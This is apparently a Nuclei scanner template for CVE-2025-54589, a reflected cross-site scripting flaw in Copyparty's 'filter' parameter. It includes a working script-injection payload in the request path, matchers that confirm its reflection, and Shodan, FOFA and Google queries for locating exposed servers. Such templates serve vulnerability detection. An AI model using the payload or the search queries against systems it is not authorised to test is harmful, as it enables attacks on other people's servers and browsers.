Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
PoC代码[已公开]
id: CVE-2025-54589
info:
name: Copyparty <=1.18.6 - Cross-Site Scripting
author: s-cu-bot
severity: medium
description: |
Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
remediation: |
Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
reference:
- https://github.com/9001/copyparty
- https://secalerts.co/vulnerability/CVE-2025-54589
- https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
- https://nvd.nist.gov/vuln/detail/CVE-2025-54589
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
cvss-score: 6.3
cve-id: CVE-2025-54589
epss-score: 0.01186
epss-percentile: 0.78056
cwe-id: CWE-79
cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: copyparty_project
product: copyparty
shodan-query: http.title:"copyparty"
fofa-query: title="copyparty"
google-query: intitle:"copyparty"
tags: cve,cve2025,xss,copyparty
http:
- method: GET
path:
- "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'filter": "</script><script>alert(document.domain)</script>'
- 'control-panel'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402205048836390b05eb3f52be013a0afa687631e575523a4545dbd3b42c59f8bbff0022044193386b3e91f32e4dfdfc431e61180e6bd38a05e66f63e4b74a8ccf38210d0:922c64590222798bb761d5b6d8e72950